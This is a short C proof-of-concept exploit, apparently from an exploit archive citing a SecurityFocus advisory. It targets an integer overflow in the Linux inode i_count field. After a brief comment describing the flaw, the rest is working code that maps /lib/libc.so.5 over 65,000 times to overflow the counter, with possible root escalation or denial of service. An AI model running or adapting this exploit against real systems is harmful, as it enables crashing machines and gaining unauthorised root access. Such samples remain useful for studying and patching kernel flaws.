/*
source: http://www.securityfocus.com/bid/388/info
The i_count member in the Linux inode structure is an unsigned short integer. It can be overflowed by mapping a single file too many times, allowing for a local user to possibly gain root access on the target machine or cause a denial of service.
Below is a short example of how this vulnerability can be exploited:
*/
#include <unistd.h>
#include <fcntl.h>
#include <sys/mman.h>
void main()
{
int fd, i;
fd = open("/lib/libc.so.5", O_RDONLY);
for(i = 0; i < 65540; i++)
{
mmap((char*)0x50000000 + (0x1000 * i), 0x1000,
PROT_READ, MAP_SHARED | MAP_FIXED, fd, 0);
}
}